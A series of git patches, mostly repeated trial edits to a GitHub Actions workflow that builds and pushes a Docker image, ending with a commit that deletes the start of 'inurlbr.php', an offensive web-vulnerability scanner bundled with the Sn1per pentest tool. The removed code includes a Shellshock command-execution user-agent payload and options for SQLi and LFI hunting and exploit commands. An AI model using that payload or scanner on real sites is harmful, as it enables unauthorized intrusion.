+++ b/.github/workflows/build-push-ghcr.yml @@ -28,7 +28,7 @@ jobs: id: meta uses: docker/metadata-action@v4 with: - images: ${{ env.REGISTRY}}/${{ env.RAW_IMAGE_NAME }} # Use the original name for metadata + images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} # Use the original name for metadata flavor: latest=true tags: | type=ref,event=branch From 2cabdb512f9fc7dde64fd2f369792fd69dbec021 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:23:47 -0300 Subject: [PATCH 59/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 715cead..47ce9ff 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -16,7 +16,7 @@ on: env: REGISTRY: ghcr.io RAW_IMAGE_NAME: ${{ github.repository }} - IMAGE_NAME: ${{ env.RAW_IMAGE_NAME | lower }} # Convert repository name to lowercase + IMAGE_NAME: ${RAW_IMAGE_NAME,,} # Convert repository name to lowercase jobs: deploy-docker-hello-world: From 971038eebb93be7458ae512c868debf002b006b2 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:26:15 -0300 Subject: [PATCH 60/83] test build and push --- .github/workflows/build-push-ghcr.yml | 70 +++++++++++++-------------- 1 file changed, 33 insertions(+), 37 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 47ce9ff..9416409 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,52 +1,48 @@ -name: Build and Push docker +name: Build and Push Docker Image on: push: branches: - main - - development - - feat* - - gh-action - tags: - - "v*" - pull_request: - branches: - - master - -env: - REGISTRY: ghcr.io - RAW_IMAGE_NAME: ${{ github.repository }} - IMAGE_NAME: ${RAW_IMAGE_NAME,,} # Convert repository name to lowercase jobs: - deploy-docker-hello-world: + build-and-push: runs-on: ubuntu-latest + steps: - - uses: actions/checkout@v2 + - name: Checkout code + uses: actions/checkout@v2 - - name: Docker meta - id: meta - uses: docker/metadata-action@v4 - with: - images: ${{ env.REGISTRY}}/${{ env.IMAGE_NAME }} # Use the original name for metadata - flavor: latest=true - tags: | - type=ref,event=branch - type=ref,event=pr - type=semver,pattern={{version}} + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v1 - - name: Login to image repository - uses: docker/login-action@v2 - with: - registry: ${{ env.REGISTRY }} - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Build and push + - name: Build and push Docker image + id: docker_build uses: docker/build-push-action@v2 with: context: . file: Dockerfile.base - push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} + push: true + tags: ghcr.io/${{ github.repository }}:${{ github.sha }} + + - name: Docker image metadata + id: image_meta + uses: docker/metadata-action@v4 + with: + images: ghcr.io/${{ github.repository }} + flavor: latest=true + tags: | + type=sha + + - name: Login to ghcr.io + uses: docker/login-action@v2 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Push metadata to image + run: docker push ghcr.io/${{ github.repository }} + + - name: Push tags to image + run: docker push ${{ steps.image_meta.outputs.tags }} From ed6af61352713d21350be29f1c9945b2c3a53387 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 09:26:34 -0300 Subject: [PATCH 61/83] test build and push --- .github/workflows/build-push-ghcr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 9416409..7caa4ea 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -4,6 +4,7 @@ on: push: branches: - main + - gh-action jobs: build-and-push: From 9b98b209e82a91c1558dd4cf38e42195eef11cdd Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:39:45 -0300 Subject: [PATCH 62/83] testing --- .github/workflows/build-push-ghcr.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 7caa4ea..06c53b7 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,6 +17,11 @@ jobs: - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 + - name: Setting parameters + shell: |- + echo abc + ls -al + - name: Build and push Docker image id: docker_build uses: docker/build-push-action@v2 From 8a2dbc8fc84b4b6349fbad8cab249c917de96d80 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:40:22 -0300 Subject: [PATCH 63/83] testing --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 06c53b7..63c29ab 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -18,7 +18,7 @@ jobs: uses: docker/setup-buildx-action@v1 - name: Setting parameters - shell: |- + run: |- echo abc ls -al From 7dcf77b2006953c080d50b91ba44f4ec8d369bab Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:42:45 -0300 Subject: [PATCH 64/83] testing --- .github/workflows/build-push-ghcr.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 63c29ab..f14f045 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -19,8 +19,9 @@ jobs: - name: Setting parameters run: |- - echo abc - ls -al + REPO_NAME=${{ github.repository }} + echo ${REPO_NAME} + echo ${REPO_NAME,,} - name: Build and push Docker image id: docker_build From 2e7af5d9c015a456df2e1602147c4fd1c38f10e8 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:44:09 -0300 Subject: [PATCH 65/83] testing --- .github/workflows/build-push-ghcr.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index f14f045..6b907fa 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,8 +20,7 @@ jobs: - name: Setting parameters run: |- REPO_NAME=${{ github.repository }} - echo ${REPO_NAME} - echo ${REPO_NAME,,} + echo "REPO_NAME={REPO_NAME,,}" >> $GITHUB_ENV - name: Build and push Docker image id: docker_build @@ -30,13 +29,13 @@ jobs: context: . file: Dockerfile.base push: true - tags: ghcr.io/${{ github.repository }}:${{ github.sha }} + tags: ghcr.io/${{ REPO_NAME }}:${{ github.sha }} - name: Docker image metadata id: image_meta uses: docker/metadata-action@v4 with: - images: ghcr.io/${{ github.repository }} + images: ghcr.io/${{ REPO_NAME }} flavor: latest=true tags: | type=sha @@ -49,7 +48,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Push metadata to image - run: docker push ghcr.io/${{ github.repository }} + run: docker push ghcr.io/${{ REPO_NAME }} - name: Push tags to image run: docker push ${{ steps.image_meta.outputs.tags }} From f5bbb36144a4822f411fb7202363ffc96ea7e307 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:44:38 -0300 Subject: [PATCH 66/83] testing --- .github/workflows/build-push-ghcr.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 6b907fa..6ee8ace 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,13 +29,13 @@ jobs: context: . file: Dockerfile.base push: true - tags: ghcr.io/${{ REPO_NAME }}:${{ github.sha }} + tags: ghcr.io/${REPO_NAME}:${{ github.sha }} - name: Docker image metadata id: image_meta uses: docker/metadata-action@v4 with: - images: ghcr.io/${{ REPO_NAME }} + images: ghcr.io/${REPO_NAME} flavor: latest=true tags: | type=sha @@ -48,7 +48,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Push metadata to image - run: docker push ghcr.io/${{ REPO_NAME }} + run: docker push ghcr.io/${REPO_NAME} - name: Push tags to image run: docker push ${{ steps.image_meta.outputs.tags }} From d0c4ea461f6e5ed5c4b57b38fdc0459475452873 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 15:45:27 -0300 Subject: [PATCH 67/83] testing --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 6ee8ace..56170b6 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,7 +29,7 @@ jobs: context: . file: Dockerfile.base push: true - tags: ghcr.io/${REPO_NAME}:${{ github.sha }} + tags: "ghcr.io/${REPO_NAME}:${{ github.sha }}"" - name: Docker image metadata id: image_meta From b0cf787f6d37be803d9a3d9c02a5c093dd63ce1e Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:15:12 -0300 Subject: [PATCH 68/83] testing --- .github/workflows/build-push-ghcr.yml | 65 ++++++++++++++------------- 1 file changed, 33 insertions(+), 32 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 56170b6..0f740ed 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,54 +1,55 @@ -name: Build and Push Docker Image +name: Build and Push on: push: branches: - main - - gh-action + - development + - feat* + tags: + - "v*" + pull_request: + branches: + - master + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} jobs: - build-and-push: + deploy-docker-hello-world: runs-on: ubuntu-latest - steps: - - name: Checkout code - uses: actions/checkout@v2 - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 + - name: Setting environment variables + run: | + echo "repo_name=${{ env.IMAGE_NAME }}" >> $GITHUB_ENV - - name: Setting parameters - run: |- - REPO_NAME=${{ github.repository }} - echo "REPO_NAME={REPO_NAME,,}" >> $GITHUB_ENV + - uses: actions/checkout@v3 - - name: Build and push Docker image - id: docker_build - uses: docker/build-push-action@v2 - with: - context: . - file: Dockerfile.base - push: true - tags: "ghcr.io/${REPO_NAME}:${{ github.sha }}"" - - - name: Docker image metadata - id: image_meta + - name: Docker meta + id: meta uses: docker/metadata-action@v4 with: - images: ghcr.io/${REPO_NAME} + images: ${{ env.REGISTRY}}/${{ env.repo_name }} flavor: latest=true tags: | - type=sha + type=ref,event=branch + type=ref,event=pr + type=semver,pattern={{version}} - - name: Login to ghcr.io + - name: Login to image repository uses: docker/login-action@v2 with: - registry: ghcr.io + registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - - name: Push metadata to image - run: docker push ghcr.io/${REPO_NAME} - - - name: Push tags to image - run: docker push ${{ steps.image_meta.outputs.tags }} + - name: Build and push + uses: docker/build-push-action@v3 + with: + context: . + file: Dockerfile + push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} From 1c894ecd14faf73c4db3ec01329aaeef5c59a573 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:16:27 -0300 Subject: [PATCH 69/83] testing --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 0f740ed..78de149 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,7 +17,7 @@ env: IMAGE_NAME: ${{ github.repository }} jobs: - deploy-docker-hello-world: + docker-build: runs-on: ubuntu-latest steps: @@ -49,7 +49,7 @@ jobs: uses: docker/build-push-action@v3 with: context: . - file: Dockerfile + file: Dockerfile.base push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} From 54755d7193c532a2fab89e59bfe25689ee2a0b5d Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:17:48 -0300 Subject: [PATCH 70/83] testing --- .github/workflows/build-push-ghcr.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 78de149..14862c5 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -18,6 +18,9 @@ env: jobs: docker-build: + permissions: + contents: read + packages: write runs-on: ubuntu-latest steps: From e56263f4e43c9ba935fd7ba1017dce45312b5801 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:18:29 -0300 Subject: [PATCH 71/83] testing --- .github/workflows/build-push-ghcr.yml | 3 --- 1 file changed, 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 14862c5..78de149 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -18,9 +18,6 @@ env: jobs: docker-build: - permissions: - contents: read - packages: write runs-on: ubuntu-latest steps: From dbfa48b8a2ce86544199b463474729e386d23975 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:19:22 -0300 Subject: [PATCH 72/83] testing --- .github/workflows/build-push-ghcr.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 78de149..14862c5 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -18,6 +18,9 @@ env: jobs: docker-build: + permissions: + contents: read + packages: write runs-on: ubuntu-latest steps: From 5d6a4336e378b33adada4e2061b7006dc66f12c9 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:21:53 -0300 Subject: [PATCH 73/83] testing --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 14862c5..13686a0 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -52,7 +52,7 @@ jobs: uses: docker/build-push-action@v3 with: context: . - file: Dockerfile.base + file: Dockerfile push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}} tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} From a852a23bbc2257f3fb4560c98b9db2a0758c8268 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 16:31:25 -0300 Subject: [PATCH 74/83] Delete Dockerfile.base --- Dockerfile.base | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Dockerfile.base diff --git a/Dockerfile.base b/Dockerfile.base deleted file mode 100644 index 35df96c..0000000 --- a/Dockerfile.base +++ /dev/null @@ -1 +0,0 @@ -FROM alpine:3.9 \ No newline at end of file From e7a0698e745b234c262f5989fa9cb285dddb129a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Mon, 25 Dec 2023 20:26:46 -0300 Subject: [PATCH 75/83] merge (#3) * Delete bin/inurlbr.php * Update README.md * Update README.md --------- Co-authored-by: xer0dayz <1N3@hushmail.com> --- README.md | 40 +- bin/inurlbr.php | 3857 ----------------------------------------------- 2 files changed, 19 insertions(+), 3878 deletions(-) delete mode 100644 bin/inurlbr.php diff --git a/README.md b/README.md index 1c6b6e6..1aace37 100644 --- a/README.md +++ b/README.md @@ -48,15 +48,13 @@ Sn1per is a next-generation information gathering tool that provides automated, ### News +- #### [Sn1per Enterprise v20231025 Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20231025-released/) - #### [Automated Penetration Testing Guide - Your Ultimate Resource](https://sn1persecurity.com/wordpress/penetration-testing-guide/) -- #### [Sn1per Enterprise v20230516 Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-v20230516-released/) - #### [Dark Web Monitoring: Securing Your External Attack Surface](https://sn1persecurity.com/wordpress/dark-web-monitoring-securing-your-external-attack-surface/) - #### [Sn1per Scan Engine v10.4 Released!](https://sn1persecurity.com/wordpress/sn1per-scan-engine-v10-4-released/) - #### [Sn1per: The Next Generation of Tools for Security Professionals](https://sn1persecurity.com/wordpress/sn1per-the-next-generation-of-tools-for-security-professionals/) -- #### [Sn1per Scan Engine v10.3 Released!](https://sn1persecurity.com/wordpress/sn1per-scan-engine-v10-3-released/) - #### [5 Ways Sn1per Can Automate Your Security Workflow](https://sn1persecurity.com/wordpress/5-ways-sn1per-can-automate-your-security-workflow/) - #### [External Attack Surface Management with Sn1per](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/) -- #### [Sn1per Scan Engine v10.2 Released!](https://sn1persecurity.com/wordpress/sn1per-scan-engine-v10-2-update/) - #### [Sn1per Enterprise Released!](https://sn1persecurity.com/wordpress/sn1per-enterprise-released/) - #### [Sn1per Professional v10.0 Released!](https://sn1persecurity.com/wordpress/sn1per-professional-v10-released/) @@ -225,30 +223,30 @@ sniper -u|--update ## Help Topics -- [x] Plugins & Tools () -- [x] Scheduled scans () -- [x] Sn1per Configuration Options () -- [x] Sn1per Configuration Templates () -- [x] Sc0pe Templates () +- [x] [Plugins & Tools](https://github.com/1N3/Sn1per/wiki/Plugins-&-Tools) +- [x] [Scheduled Scans](https://github.com/1N3/Sn1per/wiki/Scheduled-Scans) +- [x] [Sn1per Configuration Options](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Options) +- [x] [Sn1per Configuration Templates](https://github.com/1N3/Sn1per/wiki/Sn1per-Configuration-Templates) +- [x] [Sc0pe Templates](https://github.com/1N3/Sn1per/wiki/Sc0pe-Templates) ## Integration Guides -- [x] Github API integration () -- [x] Burpsuite Professional 2.x integration () -- [x] OWASP ZAP integration () -- [x] Shodan API integration () -- [x] Censys API integration () -- [x] Hunter.io API integration () -- [x] Metasploit integration () -- [x] Nessus integration () -- [x] OpenVAS API integration () -- [x] GVM 21.x integration () -- [x] Slack API integration () -- [x] WPScan API integration () +- [x] [Github API integration](https://github.com/1N3/Sn1per/wiki/Github-API-Integration) +- [x] [Burpsuite Professional 2.x integration](https://github.com/1N3/Sn1per/wiki/Burpsuite-Professional-2.x-Integration) +- [x] [OWASP ZAP integration](https://github.com/1N3/Sn1per/wiki/OWASP-ZAP-Integration) +- [x] [Shodan API integration](https://github.com/1N3/Sn1per/wiki/Shodan-Integration) +- [x] [Censys API integration](https://github.com/1N3/Sn1per/wiki/Censys-API-Integration) +- [x] [Hunter.io API integration](https://github.com/1N3/Sn1per/wiki/Hunter.io-API-Integration) +- [x] [Metasploit integration](https://github.com/1N3/Sn1per/wiki/Metasploit-Integration) +- [x] [Nessus integration](https://github.com/1N3/Sn1per/wiki/Nessus-Integration) +- [x] [OpenVAS API integration](https://github.com/1N3/Sn1per/wiki/OpenVAS-Integration) +- [x] [GVM 21.x integration](https://github.com/1N3/Sn1per/wiki/GVM-21.x-Integration) +- [x] [Slack API integration](https://github.com/1N3/Sn1per/wiki/Slack-API-Integration) +- [x] [WPScan API integration](https://github.com/1N3/Sn1per/wiki/WPScan-API-Integration) ## License & Legal Agreement -For license and legal information, refer to the LICENSE.md () file in this repository. +For license and legal information, refer to the [LICENSE.md](https://github.com/1N3/Sn1per/blob/master/LICENSE.md) file in this repository. ## Purchase Sn1per Professional diff --git a/bin/inurlbr.php b/bin/inurlbr.php deleted file mode 100644 index 61c40a4..0000000 --- a/bin/inurlbr.php +++ /dev/null @@ -1,3857 +0,0 @@ -#!/usr/bin/php -q - SQLI, LFI, LFD. - - Filter and validation based regular expression. - - Extraction of email and url. - - Validation using http-code. - - Search pages based on strings file. - - Exploits commands manager. - - Paging limiter on search engines. - - Beep sound when trigger vulnerability note. - - Use text file as a data source for urls tests. - - Find personalized strings in return values of the tests. - - Validation vulnerability shellshock. - - File validation values wordpress wp-config.php. - - Execution sub validation processes. - - Validation syntax errors database and programmin. - - Data encryption as native parameter. - - Random google host. - - Scan port. - - Error Checking & values​​: - [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, - [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, - [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, - [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, - [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, - [*]ERROR INDEFINITE - - [+] Dependencies - (PHP 5.4.*): - sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl - - - [+] Play LIST TUTORIAL: - https://www.youtube.com/watch?v=jwjZUsgf9xM&list=PLV1376pVwcCmcoCmq_Z4O0ra4BqjmhIaR - - - +--------------------------------------------------------------------------------------+ - | | | G R 3 3 T S | | | - +--------------------------------------------------------------------------------------+ - * r00t-3xp10t, Jh00n, chk_, Unknownantisec, sl4y3r 0wn3r, hc0d3r, arplhmd, 0x4h4x - * Clandestine, KoubackTr, SnakeTomahawk, SkyRedFild, Lorenzo Faletra, Eclipse, shaxer - * dd3str0y3r, Johnny Deep, Lenon Leite, pSico_b0y, Bakunim_Malvadão, IceKiller, c00z - * Oystex, rH, Warflop, se4b3ar - - */ - -error_reporting(0); -set_time_limit(0); -ini_set('memory_limit', '256M'); -ini_set('display_errors', 0); -ini_set('max_execution_time', 0); -ini_set('allow_url_fopen', 1); -(!isset($_SESSION) ? session_start() : NULL); -__OS(); - - -/* - [+]Capturing TERMINAL VALUES. - (PHP 4 >= 4.3.0, PHP 5)getopt - Gets options from the command line argument list - http://php.net/manual/pt_BR/function.getopt.php */ -$commandos_list = array( - 'dork:', 'dork-file:', 'exploit-cad:', 'range:', 'range-rand:', 'irc:', - 'exploit-all-id:', 'exploit-vul-id:', 'exploit-get:', 'exploit-post:', - 'regexp-filter:', 'exploit-command:', 'command-all:', 'command-vul:', - 'replace:', 'remove:', 'regexp:', 'sall:', 'sub-file:', 'sub-get::', 'sub-concat:', - 'user-agent:', 'url-reference:', 'delay:', 'sendmail:', 'time-out:', - 'http-header:', 'ifcode:', 'ifurl:', 'ifemail:', 'mp:', 'target:', - 'no-banner::', 'gc::', 'proxy:', 'proxy-file:', 'time-proxy:', 'pr::', - 'proxy-http-file:', 'update::', 'info::', 'help::', 'unique::', 'popup::', - 'ajuda::', 'install-dependence::', 'cms-check::', 'sub-post::', 'robots::', - 'alexa-rank::', 'beep::', 'exploit-list::', 'tor-random::', 'shellshock::', - 'dork-rand:', 'sub-cmd-all:', 'sub-cmd-vul:', 'port-cmd:', 'port-scan:', - 'port-write:', 'ifredirect:', 'persist:', 'file-cookie:', 'save-as:' -); - -$opcoes = getopt('u::a:d:o:p:s:q:t:m::h::', $commandos_list); - - -/* - [+]VERIFYING LIB php5-curl IS INSTALLED. - (PHP 4, PHP 5) function_exists — Return TRUE if the given function has been - defined. - http://php.net/manual/en/function.function-exists.php - - [+]Verification - CURL_EXEC - Execute the given cURL session. - This function should be called after initializing a cURL session and all the - options for the session are set. - http://php.net/manual/en/function.curl-exec.php */ -(!function_exists('curl_exec') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} INSTALLING THE LIBRARY php5-curl ex: php5-curl apt-get install{$_SESSION["c0"]}\n") : NULL ); - -/* - [+]VERIFYING use Input PHP CLI. - (PHP 4, PHP 5) defined — Checks whether a given named constant exists - http://php.net/manual/pt_BR/function.defined.php */ -(!defined('STDIN') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} Please run it through command-line!{$_SESSION["c0"]}\n") : NULL); - - -#[+]Resetting VALUES $ _SESSION ['config'] -$_SESSION['config'] = array(); -$_SESSION['config']['version_script'] = '2.1'; -$_SESSION['config']['totas_urls'] = NULL; -$_SESSION['config']["contUrl"] = 0; -$_SESSION['config']['cont_email'] = 0; -$_SESSION['config']['cont_url'] = 0; -$_SESSION['config']['cont_valores'] = 0; - -#[+] FILE MANAGEMENT EXPLOITS. -$_SESSION['config']['file_exploit_conf'] = 'exploits.conf'; - -#[+] FOLDER WHERE WILL BE SAVED PROCESSES. -$_SESSION['config']['out_put_paste'] = 'output/'; - -/* - [+]USER-AGENT EXPLOIT SHELLSHOCK - (CVE-2014-6271, CVE-2014-6277, - CVE-2014-6278, CVE-2014-7169, - CVE-2014-7186, CVE-2014-7187) - is a vulnerability in GNU's bash shell that gives attackers access to run remote - commands on a vulnerable system. */ -$_SESSION['config']['user_agent_xpl'] = "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\""; - -#[+]BLACK LIST URL-STRINGS -$_SESSION['config']['blacklist'] = "//t.co,google.,youtube.,jsuol.com,.radio.uol.,b.uol.,barra.uol.,whowhere.,hotbot.,amesville.,lycos,lygo.,orkut.,schema.,blogger.,bing.,w3.,yahoo.,yimg.,creativecommons.org,ndj6p3asftxboa7j.,.torproject.org,.lygo.com,.apache.org,.hostname.,document.,"; -$_SESSION['config']['blacklist'].= "live.,microsoft.,ask.,shifen.com,answers.,analytics.,googleadservices.,sapo.pt,favicon.,blogspot.,wordpress.,.css,scripts.js,jquery-1.,dmoz.,gigablast.,aol.,.macromedia.com,.sitepoint.,yandex.,www.tor2web.org,.securityfocus.com,.Bootstrap.,.metasploit.com,"; -$_SESSION['config']['blacklist'].= "aolcdn.,altavista.,clusty.,teoma.,baiducontent.com,wisenut.,a9.,uolhost.,w3schools.,msn.,baidu.,hao123.,shifen.,procog.,facebook.,twitter.,flickr.,.adobe.com,oficinadanet.,elephantjmjqepsw.,.shodan.io,kbhpodhnfxl3clb4,.scanalert.com,.prototype.,feedback.core,"; -$_SESSION['config']['blacklist'].= "4shared.,.KeyCodeTab,.style.,www/cache/i1,.className.,=n.,a.Ke=,Y.config,.goodsearch.com,style.top,n.Img,n.canvas.,t.search,Y.Search.,a.href,a.currentStyle,a.style,yastatic.,.oth.net,.hotbot.com,.zhongsou.com,ezilon.com,.example.com,location.href,.navigation.,"; -$_SESSION['config']['blacklist'].= ".bingj.com,Y.Mobile.,srpcache?p,stackoverflow.,shifen.,baidu.,baiducontent.,gstatic.,php.net,wikipedia.,webcache.,inurl.,naver.,navercorp.,windows.,window.,.devmedia,imasters.,.inspcloud.com,.lycos.com,.scorecardresearch.com,.target.,JQuery.min,Element.location.,"; -$_SESSION['config']['blacklist'].= "exploit-db,packetstormsecurity.,1337day,owasp,.sun.com,mobile10.dtd,onabort=function,inurl.com.br,purl.org,.dartsearch.net,r.cb,.classList.,.pt_BR.,github,microsofttranslator.com,.compete.com,.sogou.com,gmail.,blackle.com,boorow.com,gravatar.com,sourceforge.,.mozilla.org"; - -$_SESSION['config']['line'] = "\n{$_SESSION["c1"]} _[ - ]{$_SESSION["c7"]}::{$_SESSION["c1"]}--------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]}"; - -#[+]PRINTING HELP / INFO -(isset($opcoes['h']) || isset($opcoes['help']) || isset($opcoes['ajuda']) ? __menu() : NULL); -(isset($opcoes['info']) ? __info() : NULL); - -#[+]PRINTING EXPLOITS LIST. -(isset($opcoes['exploit-list']) ? print(__bannerLogo()) . __configExploitsList(1) : NULL); - -#[+]CREATING DEFAULT SETTINGS EXIT RESULTS. -(!is_dir($_SESSION['config']['out_put_paste']) ? mkdir($_SESSION['config']['out_put_paste'], 0777, TRUE) : NULL); - -#[+]CREATING DEFAULT SETTINGS MANAGEMENT EXPLOITS. -(!file_exists($_SESSION['config']['file_exploit_conf']) ? touch($_SESSION['config']['file_exploit_conf']) : NULL); - -#[+]Deletes FILE cookie STANDARD. -(file_exists('cookie.txt') ? unlink('cookie.txt') : NULL); - -#[+]REGISTRATION NEW COMMAND EXPLOIT -(not_isnull_empty($opcoes['exploit-cad']) ? __configExploitsADD($opcoes['exploit-cad']) : NULL); - -#[+]Dependencies installation -(isset($opcoes['install-dependence']) ? __installDepencia() : NULL); - -#[+]UPDATE SCRIPT -(isset($opcoes['update']) ? __update() : NULL); - -################################################################################ -#CAPTURE OPTIONS################################################################ -################################################################################ -#[+]VALIDATION SEARCH METHODS / (DORK,RANGE-IP) -if (not_isnull_empty($opcoes['o'])) { - - $_SESSION['config']['abrir-arquivo'] = $opcoes['o']; -} else if (!not_isnull_empty($opcoes['o']) && - !not_isnull_empty($opcoes['range']) && - !not_isnull_empty($opcoes['range-rand']) && - !not_isnull_empty($opcoes['dork-rand'])) { - - $_SESSION['config']['dork'] = not_isnull_empty($opcoes['dork']) && is_null($_SESSION['config']['abrir-arquivo']) ? $opcoes['dork'] : 